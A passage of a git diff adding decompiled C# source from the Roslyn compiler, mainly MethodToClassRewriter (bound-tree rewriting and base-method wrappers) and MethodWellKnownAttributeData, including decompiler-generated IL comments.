(method.IsAsync) + { + return method.ReturnType.IsIAsyncEnumeratorType(compilation); + } + return false; + } + + internal static CSharpSyntaxNode ExtractReturnTypeSyntax(this MethodSymbol method) + { + if (method is SynthesizedSimpleProgramEntryPointSymbol synthesizedSimpleProgramEntryPointSymbol) + { + return (CSharpSyntaxNode)(object)synthesizedSimpleProgramEntryPointSymbol.ReturnTypeSyntax; + } + method = method.PartialDefinitionPart ?? method; + ImmutableArray.Enumerator enumerator = method.DeclaringSyntaxReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNode syntax = enumerator.Current.GetSyntax(default(CancellationToken)); + if (syntax is MethodDeclarationSyntax methodDeclarationSyntax) + { + return methodDeclarationSyntax.ReturnType; + } + if (syntax is LocalFunctionStatementSyntax localFunctionStatementSyntax) + { + return localFunctionStatementSyntax.ReturnType; + } + } + return (CSharpSyntaxNode)(object)CSharpSyntaxTree.Dummy.GetRoot(default(CancellationToken)); + } + + internal static bool IsValidUnscopedRefAttributeTarget(this MethodSymbol method) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Invalid comparison between Unknown and I4 + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + bool flag = !method.IsStatic && (method.ContainingType?.IsStructType() ?? false); + if (flag) + { + MethodKind methodKind = method.MethodKind; + bool flag2 = (((int)methodKind == 8 || methodKind - 10 <= 2) ? true : false); + flag = flag2; + } + if (flag) + { + return !method.IsInitOnly; + } + return false; + } + + internal static bool HasUnscopedRefAttributeOnMethodOrProperty(this MethodSymbol? method) + { + if ((object)method == null) + { + return false; + } + if (!method.HasUnscopedRefAttribute) + { + if (method.AssociatedSymbol is PropertySymbol propertySymbol) + { + return propertySymbol.HasUnscopedRefAttribute; + } + return false; + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodToClassRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodToClassRewriter.cs new file mode 100644 index 0000000..e92e818 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodToClassRewriter.cs @@ -0,0 +1,631 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class MethodToClassRewriter : BoundTreeRewriterWithStackGuard +{ + private sealed class BaseMethodWrapperSymbol : SynthesizedMethodBaseSymbol + { + internal sealed override bool GenerateDebugInfo => false; + + internal override bool SynthesizesLoweredBoundBody => true; + + internal override ExecutableCodeBinder? TryGetBodyBinder(BinderFactory? binderFactoryOpt = null, bool ignoreAccessibility = false) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compiler/MethodBodySynthesizer.Lowered.cs", 311); + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = OriginalDefinition; + try + { + MethodSymbol methodSymbol = BaseMethod; + if (Arity > 0) + { + methodSymbol = methodSymbol.ConstructedFrom.Construct(StaticCast.From(TypeParameters)); + } + BoundBlock boundBlock = MethodBodySynthesizer.ConstructSingleInvocationMethodBody(syntheticBoundNodeFactory, methodSymbol, useBaseReference: true); + if (boundBlock.Kind != BoundKind.Block) + { + boundBlock = syntheticBoundNodeFactory.Block(boundBlock); + } + syntheticBoundNodeFactory.CompilationState.AddMethodWrapper(methodSymbol, this, boundBlock); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + } + } + + internal BaseMethodWrapperSymbol(NamedTypeSymbol containingType, MethodSymbol methodBeingWrapped, SyntaxNode syntax, string name) + : base(containingType, methodBeingWrapped, syntax.SyntaxTree.GetReference(syntax), syntax.GetLocation(), name, DeclarationModifiers.Private, isIterator: false) + { + TypeMap typeMap = ((methodBeingWrapped.ContainingType is SubstitutedNamedTypeSymbol substitutedNamedTypeSymbol) ? substitutedNamedTypeSymbol.TypeSubstitution : TypeMap.Empty); + ImmutableArray newTypeParameters; + if (!methodBeingWrapped.IsGenericMethod) + { + newTypeParameters = ImmutableArray.Empty; + } + else + { + typeMap = typeMap.WithAlphaRename(methodBeingWrapped, this, out newTypeParameters); + } + AssignTypeMapAndTypeParameters(typeMap, newTypeParameters); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + Symbol.AddSynthesizedAttribute(ref attributes, DeclaringCompilation.TrySynthesizeAttribute((WellKnownMember)70)); + } + } + + protected Dictionary proxies = new Dictionary(); + + protected readonly Dictionary localMap = new Dictionary(); + + protected readonly TypeCompilationState CompilationState; + + protected readonly BindingDiagnosticBag Diagnostics; + + protected readonly VariableSlotAllocator? slotAllocatorOpt; + + private readonly Dictionary _placeholderMap; + + protected abstract TypeMap TypeMap { get; } + + protected abstract MethodSymbol CurrentMethod { get; } + + protected abstract NamedTypeSymbol ContainingType { get; } + + protected abstract BoundExpression FramePointer(SyntaxNode syntax, NamedTypeSymbol frameClass); + + protected MethodToClassRewriter(VariableSlotAllocator? slotAllocatorOpt, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + CompilationState = compilationState; + Diagnostics = diagnostics; + this.slotAllocatorOpt = slotAllocatorOpt; + _placeholderMap = new Dictionary(); + } + + public override BoundNode DefaultVisit(BoundNode node) + { + return base.DefaultVisit(node); + } + + protected abstract bool NeedsProxy(Symbol localOrParameter); + + protected void RewriteLocals(ImmutableArray locals, ArrayBuilder newLocals) + { + ImmutableArray.Enumerator enumerator = locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + if (TryRewriteLocal(current, out LocalSymbol newLocal)) + { + newLocals.Add(newLocal); + } + } + } + + protected bool TryRewriteLocal(LocalSymbol local, [NotNullWhen(true)] out LocalSymbol? newLocal) + { + if (NeedsProxy(local)) + { + newLocal = null; + return false; + } + if (localMap.TryGetValue(local, out newLocal)) + { + return true; + } + TypeSymbol typeSymbol = VisitType(local.Type); + if (TypeSymbol.Equals(typeSymbol, local.Type, (TypeCompareKind)0)) + { + newLocal = local; + } + else + { + newLocal = new TypeSubstitutedLocalSymbol(local, TypeWithAnnotations.Create(typeSymbol), CurrentMethod); + localMap.Add(local, newLocal); + } + return true; + } + + private ImmutableArray RewriteLocals(ImmutableArray locals) + { + if (locals.IsEmpty) + { + return locals; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + RewriteLocals(locals, instance); + return instance.ToImmutableAndFree(); + } + + public override BoundNode VisitCatchBlock(BoundCatchBlock node) + { + if (!node.Locals.IsDefaultOrEmpty) + { + ImmutableArray locals = RewriteLocals(node.Locals); + return node.Update(locals, (BoundExpression)Visit(node.ExceptionSourceOpt), VisitType(node.ExceptionTypeOpt), (BoundStatementList)Visit(node.ExceptionFilterPrologueOpt), (BoundExpression)Visit(node.ExceptionFilterOpt), (BoundBlock)Visit(node.Body), node.IsSynthesizedAsyncCatchAll); + } + return base.VisitCatchBlock(node); + } + + public override BoundNode VisitBlock(BoundBlock node) + { + return VisitBlock(node, removeInstrumentation: false); + } + + protected BoundBlock VisitBlock(BoundBlock node, bool removeInstrumentation) + { + ImmutableArray locals = RewriteLocals(node.Locals); + ImmutableArray localFunctions = node.LocalFunctions; + ImmutableArray statements = VisitList(node.Statements); + BoundBlockInstrumentation instrumentation = (removeInstrumentation ? null : ((BoundBlockInstrumentation)Visit(node.Instrumentation))); + return node.Update(locals, localFunctions, node.HasUnsafeModifier, instrumentation, statements); + } + + public abstract override BoundNode VisitScope(BoundScope node); + + public override BoundNode VisitSequence(BoundSequence node) + { + ImmutableArray locals = RewriteLocals(node.Locals); + ImmutableArray sideEffects = VisitList(node.SideEffects); + BoundExpression value = (BoundExpression)Visit(node.Value); + TypeSymbol type = VisitType(node.Type); + return node.Update(locals, sideEffects, value, type); + } + + public override BoundNode VisitForStatement(BoundForStatement node) + { + ImmutableArray outerLocals = RewriteLocals(node.OuterLocals); + BoundStatement initializer = (BoundStatement)Visit(node.Initializer); + ImmutableArray innerLocals = RewriteLocals(node.InnerLocals); + BoundExpression condition = (BoundExpression)Visit(node.Condition); + BoundStatement increment = (BoundStatement)Visit(node.Increment); + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(outerLocals, initializer, innerLocals, condition, increment, body, node.BreakLabel, node.ContinueLabel); + } + + public override BoundNode VisitDoStatement(BoundDoStatement node) + { + ImmutableArray locals = RewriteLocals(node.Locals); + BoundExpression condition = (BoundExpression)Visit(node.Condition); + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(locals, condition, body, node.BreakLabel, node.ContinueLabel); + } + + public override BoundNode VisitWhileStatement(BoundWhileStatement node) + { + ImmutableArray locals = RewriteLocals(node.Locals); + BoundExpression condition = (BoundExpression)Visit(node.Condition); + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(locals, condition, body, node.BreakLabel, node.ContinueLabel); + } + + public override BoundNode VisitUsingStatement(BoundUsingStatement node) + { + ImmutableArray locals = RewriteLocals(node.Locals); + BoundMultipleLocalDeclarations declarationsOpt = (BoundMultipleLocalDeclarations)Visit(node.DeclarationsOpt); + BoundExpression expressionOpt = (BoundExpression)Visit(node.ExpressionOpt); + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(locals, declarationsOpt, expressionOpt, body, node.AwaitOpt, node.PatternDisposeInfoOpt); + } + + [return: NotNullIfNotNull("type")] + public sealed override TypeSymbol? VisitType(TypeSymbol? type) + { + return TypeMap.SubstituteType(type).Type; + } + + public override BoundNode VisitMethodInfo(BoundMethodInfo node) + { + MethodSymbol method = VisitMethodSymbol(node.Method); + return node.Update(method, node.GetMethodFromHandle, node.Type); + } + + public override BoundNode VisitPropertyAccess(BoundPropertyAccess node) + { + PropertySymbol propertySymbol = VisitPropertySymbol(node.PropertySymbol); + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + return node.Update(receiverOpt, (ThreeState)0, propertySymbol, node.ResultKind, VisitType(node.Type)); + } + + public override BoundNode VisitCall(BoundCall node) + { + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol methodSymbol = VisitMethodSymbol(node.Method); + BoundExpression boundExpression = (BoundExpression)Visit(node.ReceiverOpt); + ImmutableArray arguments = VisitList(node.Arguments); + TypeSymbol type = VisitType(node.Type); + if (BaseReferenceInReceiverWasRewritten(node.ReceiverOpt, boundExpression) && node.Method.IsMetadataVirtual()) + { + methodSymbol = GetMethodWrapperForBaseNonVirtualCall(methodSymbol, node.Syntax); + } + return node.Update(boundExpression, (ThreeState)0, methodSymbol, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.IsDelegateCall, node.Expanded, node.InvokedAsExtensionMethod, node.ArgsToParamsOpt, node.DefaultArguments, node.ResultKind, type); + } + + public override BoundNode VisitBinaryOperator(BoundBinaryOperator node) + { + return node.Update(node.OperatorKind, node.ConstantValueOpt, VisitMethodSymbol(node.Method), VisitType(node.ConstrainedToType), node.ResultKind, (BoundExpression)Visit(node.Left), (BoundExpression)Visit(node.Right), VisitType(node.Type)); + } + + public override BoundNode VisitUnaryOperator(BoundUnaryOperator node) + { + return node.Update(node.OperatorKind, (BoundExpression)Visit(node.Operand), node.ConstantValueOpt, VisitMethodSymbol(node.MethodOpt), VisitType(node.ConstrainedToTypeOpt), node.ResultKind, VisitType(node.Type)); + } + + public override BoundNode? VisitConversion(BoundConversion node) + { + Conversion conversion = node.Conversion; + if ((object)conversion.Method != null) + { + conversion = conversion.SetConversionMethod(VisitMethodSymbol(conversion.Method)); + } + return node.Update((BoundExpression)Visit(node.Operand), conversion, node.IsBaseConversion, node.Checked, node.ExplicitCastInCode, node.ConstantValueOpt, node.ConversionGroupOpt, VisitType(node.Type)); + } + + public override BoundNode? VisitUserDefinedConditionalLogicalOperator(BoundUserDefinedConditionalLogicalOperator node) + { + return node.Update(node.OperatorKind, VisitMethodSymbol(node.LogicalOperator), VisitMethodSymbol(node.TrueOperator), VisitMethodSymbol(node.FalseOperator), VisitType(node.ConstrainedToTypeOpt), node.ResultKind, (BoundExpression)Visit(node.Left), (BoundExpression)Visit(node.Right), VisitType(node.Type)); + } + + private MethodSymbol GetMethodWrapperForBaseNonVirtualCall(MethodSymbol methodBeingCalled, SyntaxNode syntax) + { + MethodSymbol orCreateBaseFunctionWrapper = GetOrCreateBaseFunctionWrapper(methodBeingCalled, syntax); + if (!orCreateBaseFunctionWrapper.IsGenericMethod) + { + return orCreateBaseFunctionWrapper; + } + ImmutableArray typeArgumentsWithAnnotations = methodBeingCalled.TypeArgumentsWithAnnotations; + ArrayBuilder instance = ArrayBuilder.GetInstance(typeArgumentsWithAnnotations.Length); + ImmutableArray.Enumerator enumerator = typeArgumentsWithAnnotations.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + instance.Add(current.WithTypeAndModifiers(VisitType(current.Type), current.CustomModifiers)); + } + return orCreateBaseFunctionWrapper.Construct(instance.ToImmutableAndFree()); + } + + private MethodSymbol GetOrCreateBaseFunctionWrapper(MethodSymbol methodBeingWrapped, SyntaxNode syntax) + { + methodBeingWrapped = methodBeingWrapped.ConstructedFrom; + MethodSymbol methodWrapper = CompilationState.GetMethodWrapper(methodBeingWrapped); + if ((object)methodWrapper != null) + { + return methodWrapper; + } + NamedTypeSymbol containingType = ContainingType; + string name = GeneratedNames.MakeBaseMethodWrapperName(CompilationState.NextWrapperMethodIndex); + methodWrapper = new BaseMethodWrapperSymbol(containingType, methodBeingWrapped, syntax, name); + if (CompilationState.Emitting) + { + ((PEModuleBuilder)CompilationState.ModuleBuilderOpt).AddSynthesizedDefinition(containingType, (IMethodDefinition)(object)methodWrapper.GetCciAdapter()); + } + methodWrapper.GenerateMethodBody(CompilationState, Diagnostics); + return methodWrapper; + } + + private bool TryReplaceWithProxy(Symbol parameterOrLocal, SyntaxNode syntax, [NotNullWhen(true)] out BoundNode? replacement) + { + if (proxies.TryGetValue(parameterOrLocal, out CapturedSymbolReplacement value)) + { + replacement = value.Replacement(syntax, (NamedTypeSymbol frameType) => FramePointer(syntax, frameType)); + return true; + } + replacement = null; + return false; + } + + public sealed override BoundNode VisitParameter(BoundParameter node) + { + if (TryReplaceWithProxy(node.ParameterSymbol, node.Syntax, out BoundNode replacement)) + { + return replacement; + } + return VisitUnhoistedParameter(node); + } + + protected virtual BoundNode VisitUnhoistedParameter(BoundParameter node) + { + return base.VisitParameter(node); + } + + public sealed override BoundNode VisitLocal(BoundLocal node) + { + if (TryReplaceWithProxy(node.LocalSymbol, node.Syntax, out BoundNode replacement)) + { + return replacement; + } + return VisitUnhoistedLocal(node); + } + + public override BoundNode? VisitLocalId(BoundLocalId node) + { + if (!TryGetHoistedField(node.Local, out FieldSymbol field)) + { + return base.VisitLocalId(node); + } + return node.Update(node.Local, field, node.Type); + } + + public override BoundNode? VisitParameterId(BoundParameterId node) + { + if (!TryGetHoistedField(node.Parameter, out FieldSymbol field)) + { + return base.VisitParameterId(node); + } + return node.Update(node.Parameter, field, node.Type); + } + + private bool TryGetHoistedField(Symbol variable, [NotNullWhen(true)] out FieldSymbol? field) + { + if (proxies.TryGetValue(variable, out CapturedSymbolReplacement value)) + { + FieldSymbol hoistedField; + if (!(value is CapturedToStateMachineFieldReplacement capturedToStateMachineFieldReplacement)) + { + if (!(value is CapturedToFrameSymbolReplacement capturedToFrameSymbolReplacement)) + { + throw ExceptionUtilities.UnexpectedValue((object)value); + } + hoistedField = capturedToFrameSymbolReplacement.HoistedField; + } + else + { + hoistedField = capturedToStateMachineFieldReplacement.HoistedField; + } + field = hoistedField; + return true; + } + field = null; + return false; + } + + private BoundNode VisitUnhoistedLocal(BoundLocal node) + { + if (localMap.TryGetValue(node.LocalSymbol, out LocalSymbol value)) + { + return new BoundLocal(node.Syntax, value, node.ConstantValueOpt, value.Type, node.HasErrors); + } + return base.VisitLocal(node); + } + + public override BoundNode VisitAwaitableInfo(BoundAwaitableInfo node) + { + BoundAwaitableValuePlaceholder awaitableInstancePlaceholder = node.AwaitableInstancePlaceholder; + if (awaitableInstancePlaceholder == null) + { + return node; + } + BoundAwaitableValuePlaceholder boundAwaitableValuePlaceholder = awaitableInstancePlaceholder.Update(VisitType(awaitableInstancePlaceholder.Type)); + _placeholderMap.Add(awaitableInstancePlaceholder, boundAwaitableValuePlaceholder); + BoundExpression getAwaiter = (BoundExpression)Visit(node.GetAwaiter); + PropertySymbol isCompleted = VisitPropertySymbol(node.IsCompleted); + MethodSymbol getResult = VisitMethodSymbol(node.GetResult); + _placeholderMap.Remove(awaitableInstancePlaceholder); + return node.Update(boundAwaitableValuePlaceholder, node.IsDynamic, getAwaiter, isCompleted, getResult); + } + + public override BoundNode VisitAwaitableValuePlaceholder(BoundAwaitableValuePlaceholder node) + { + return _placeholderMap[node]; + } + + public override BoundNode VisitAssignmentOperator(BoundAssignmentOperator node) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + BoundExpression left = node.Left; + if (left.Kind != BoundKind.Local) + { + return base.VisitAssignmentOperator(node); + } + BoundLocal boundLocal = (BoundLocal)left; + BoundExpression right = node.Right; + if ((int)boundLocal.LocalSymbol.RefKind != 0 && node.IsRef && NeedsProxy(boundLocal.LocalSymbol)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/MethodToClassRewriter.cs", 492); + } + if (NeedsProxy(boundLocal.LocalSymbol) && !proxies.ContainsKey(boundLocal.LocalSymbol)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/MethodToClassRewriter.cs", 499); + } + BoundExpression boundExpression = (BoundExpression)Visit(boundLocal); + BoundExpression boundExpression2 = (BoundExpression)Visit(right); + TypeSymbol type = VisitType(node.Type); + if (boundExpression.Kind != BoundKind.Local && right.Kind == BoundKind.ConvertedStackAllocExpression) + { + BoundAssignmentOperator store; + BoundLocal boundLocal2 = new SyntheticBoundNodeFactory(CurrentMethod, boundExpression.Syntax, CompilationState, Diagnostics).StoreToTemp(boundExpression2, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundAssignmentOperator value = node.Update(boundExpression, boundLocal2, node.IsRef, type); + return new BoundSequence(node.Syntax, ImmutableArray.Create(boundLocal2.LocalSymbol), ImmutableArray.Create((BoundExpression)store), value, type); + } + return node.Update(boundExpression, boundExpression2, node.IsRef, type); + } + + public override BoundNode VisitFieldInfo(BoundFieldInfo node) + { + FieldSymbol field = node.Field.OriginalDefinition.AsMember((NamedTypeSymbol)VisitType(node.Field.ContainingType)); + return node.Update(field, node.GetFieldFromHandle, node.Type); + } + + public override BoundNode VisitFieldAccess(BoundFieldAccess node) + { + BoundExpression receiver = (BoundExpression)Visit(node.ReceiverOpt); + TypeSymbol typeSymbol = VisitType(node.Type); + FieldSymbol fieldSymbol = node.FieldSymbol.OriginalDefinition.AsMember((NamedTypeSymbol)VisitType(node.FieldSymbol.ContainingType)); + return node.Update(receiver, fieldSymbol, node.ConstantValueOpt, node.ResultKind, typeSymbol); + } + + public override BoundNode VisitObjectCreationExpression(BoundObjectCreationExpression node) + { + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + BoundObjectCreationExpression boundObjectCreationExpression = (BoundObjectCreationExpression)base.VisitObjectCreationExpression(node); + if (!TypeSymbol.Equals(boundObjectCreationExpression.Type, node.Type, (TypeCompareKind)0) && (object)node.Constructor != null) + { + MethodSymbol constructor = VisitMethodSymbol(node.Constructor); + boundObjectCreationExpression = boundObjectCreationExpression.Update(constructor, boundObjectCreationExpression.Arguments, boundObjectCreationExpression.ArgumentNamesOpt, boundObjectCreationExpression.ArgumentRefKindsOpt, boundObjectCreationExpression.Expanded, boundObjectCreationExpression.ArgsToParamsOpt, boundObjectCreationExpression.DefaultArguments, boundObjectCreationExpression.ConstantValueOpt, boundObjectCreationExpression.InitializerExpressionOpt, boundObjectCreationExpression.Type); + } + return boundObjectCreationExpression; + } + + public override BoundNode VisitDelegateCreationExpression(BoundDelegateCreationExpression node) + { + BoundExpression argument = node.Argument; + BoundExpression boundExpression = (BoundExpression)Visit(argument); + MethodSymbol methodSymbol = node.MethodOpt; + if (BaseReferenceInReceiverWasRewritten(argument, boundExpression) && methodSymbol.IsMetadataVirtual()) + { + methodSymbol = GetMethodWrapperForBaseNonVirtualCall(methodSymbol, argument.Syntax); + } + methodSymbol = VisitMethodSymbol(methodSymbol); + TypeSymbol type = VisitType(node.Type); + return node.Update(boundExpression, methodSymbol, node.IsExtensionMethod, node.WasTargetTyped, type); + } + + public override BoundNode VisitFunctionPointerLoad(BoundFunctionPointerLoad node) + { + return node.Update(VisitMethodSymbol(node.TargetMethod), VisitType(node.ConstrainedToTypeOpt), VisitType(node.Type)); + } + + public override BoundNode VisitLoweredConditionalAccess(BoundLoweredConditionalAccess node) + { + BoundExpression receiver = (BoundExpression)Visit(node.Receiver); + BoundExpression whenNotNull = (BoundExpression)Visit(node.WhenNotNull); + BoundExpression whenNullOpt = (BoundExpression)Visit(node.WhenNullOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(receiver, VisitMethodSymbol(node.HasValueMethodOpt), whenNotNull, whenNullOpt, node.Id, node.ForceCopyOfNullableValueType, type); + } + + [return: NotNullIfNotNull("method")] + protected MethodSymbol? VisitMethodSymbol(MethodSymbol? method) + { + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Invalid comparison between Unknown and I4 + if ((object)method == null) + { + return null; + } + if ((object)method.ContainingType == null) + { + return method.OriginalDefinition.ConstructIfGeneric(TypeMap.SubstituteTypes(method.TypeArgumentsWithAnnotations)); + } + if (method.ContainingType.IsAnonymousType) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)TypeMap.SubstituteType(method.ContainingType).AsTypeSymbolOnly(); + if ((object)namedTypeSymbol == method.ContainingType) + { + return method; + } + ImmutableArray.Enumerator enumerator = namedTypeSymbol.GetMembers(method.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 9) + { + return (MethodSymbol)current; + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/MethodToClassRewriter.cs", 639); + } + return method.OriginalDefinition.AsMember((NamedTypeSymbol)TypeMap.SubstituteType(method.ContainingType).AsTypeSymbolOnly()).ConstructIfGeneric(TypeMap.SubstituteTypes(method.TypeArgumentsWithAnnotations)); + } + + [return: NotNullIfNotNull("property")] + private PropertySymbol? VisitPropertySymbol(PropertySymbol? property) + { + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Invalid comparison between Unknown and I4 + if ((object)property == null) + { + return null; + } + if (!property.ContainingType.IsAnonymousType) + { + return property.OriginalDefinition.AsMember((NamedTypeSymbol)TypeMap.SubstituteType(property.ContainingType).AsTypeSymbolOnly()); + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)TypeMap.SubstituteType(property.ContainingType).AsTypeSymbolOnly(); + if ((object)namedTypeSymbol == property.ContainingType) + { + return property; + } + ImmutableArray.Enumerator enumerator = namedTypeSymbol.GetMembers(property.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 15) + { + return (PropertySymbol)current; + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/MethodToClassRewriter.cs", 682); + } + + private FieldSymbol VisitFieldSymbol(FieldSymbol field) + { + return field.OriginalDefinition.AsMember((NamedTypeSymbol)TypeMap.SubstituteType(field.ContainingType).AsTypeSymbolOnly()); + } + + public override BoundNode VisitObjectInitializerMember(BoundObjectInitializerMember node) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Invalid comparison between Unknown and I4 + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Invalid comparison between Unknown and I4 + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray arguments = VisitList(node.Arguments); + TypeSymbol type = VisitType(node.Type); + TypeSymbol receiverType = VisitType(node.ReceiverType); + Symbol symbol = node.MemberSymbol; + SymbolKind kind = symbol.Kind; + if ((int)kind != 6) + { + if ((int)kind == 15) + { + symbol = VisitPropertySymbol((PropertySymbol)symbol); + } + } + else + { + symbol = VisitFieldSymbol((FieldSymbol)symbol); + } + return node.Update(symbol, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.ResultKind, receiverType, type); + } + + public override BoundNode VisitReadOnlySpanFromArray(BoundReadOnlySpanFromArray node) + { + BoundExpression operand = (BoundExpression)Visit(node.Operand); + MethodSymbol conversionMethod = VisitMethodSymbol(node.ConversionMethod); + TypeSymbol type = VisitType(node.Type); + return node.Update(operand, conversionMethod, type); + } + + private static bool BaseReferenceInReceiverWasRewritten([NotNullWhen(true)] BoundExpression? originalReceiver, [NotNullWhen(true)] BoundExpression? rewrittenReceiver) + { + if (originalReceiver != null && originalReceiver.Kind == BoundKind.BaseReference) + { + if (rewrittenReceiver != null) + { + return rewrittenReceiver.Kind != BoundKind.BaseReference; + } + return false; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodWellKnownAttributeData.cs new file mode 100644 index 0000000..da77124 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodWellKnownAttributeData.cs @@ -0,0 +1,110 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class MethodWellKnownAttributeData : CommonMethodWellKnownAttributeData, ISkipLocalsInitAttributeTarget, IMemberNotNullAttributeTarget +{ + private bool _hasDoesNotReturnAttribute; + + private bool _hasSkipLocalsInitAttribute; + + private bool _hasUnscopedRefAttribute; + + private ImmutableArray _memberNotNullAttributeData = ImmutableArray.Empty; + + private ImmutableArray _memberNotNullWhenTrueAttributeData = ImmutableArray.Empty; + + private ImmutableArray _memberNotNullWhenFalseAttributeData = ImmutableArray.Empty; + + private UnmanagedCallersOnlyAttributeData? _unmanagedCallersOnlyAttributeData; + + public bool HasDoesNotReturnAttribute + { + get + { + return _hasDoesNotReturnAttribute; + } + set + { + _hasDoesNotReturnAttribute = value; + } + } + + public bool HasSkipLocalsInitAttribute + { + get + { + return _hasSkipLocalsInitAttribute; + } + set + { + _hasSkipLocalsInitAttribute = value; + } + } + + public bool HasUnscopedRefAttribute + { + get + { + return _hasUnscopedRefAttribute; + } + set + { + _hasUnscopedRefAttribute = value; + } + } + + public ImmutableArray NotNullMembers => _memberNotNullAttributeData; + + public ImmutableArray NotNullWhenTrueMembers => _memberNotNullWhenTrueAttributeData; + + public ImmutableArray NotNullWhenFalseMembers => _memberNotNullWhenFalseAttributeData; + + public UnmanagedCallersOnlyAttributeData? UnmanagedCallersOnlyAttributeData + { + get + { + return _unmanagedCallersOnlyAttributeData; + } + set + { + _unmanagedCallersOnlyAttributeData = value; + } + } + + public void AddNotNullMember(string memberName) + { + _memberNotNullAttributeData = _memberNotNullAttributeData.Add(memberName); + } + + public void AddNotNullMember(ArrayBuilder memberNames) + { + _memberNotNullAttributeData = _memberNotNullAttributeData.AddRange((IEnumerable)memberNames); + } + + public void AddNotNullWhenMember(bool sense, string memberName) + { + if (sense) + { + _memberNotNullWhenTrueAttributeData = _memberNotNullWhenTrueAttributeData.Add(memberName); + } + else + { + _memberNotNullWhenFalseAttributeData = _memberNotNullWhenFalseAttributeData.Add(memberName); + } + } + + public void AddNotNullWhenMember(bool sense, ArrayBuilder memberNames) + { + if (sense) + { + _memberNotNullWhenTrueAttributeData = _memberNotNullWhenTrueAttributeData.AddRange((IEnumerable)memberNames); + } + else + { + _memberNotNullWhenFalseAttributeData = _memberNotNullWhenFalseAttributeData.AddRange((IEnumerable)memberNames); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingAssemblySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MissingAssemblySymbol.cs new file mode 100644 index 0000000..b4e4587 --- /dev/null +++ 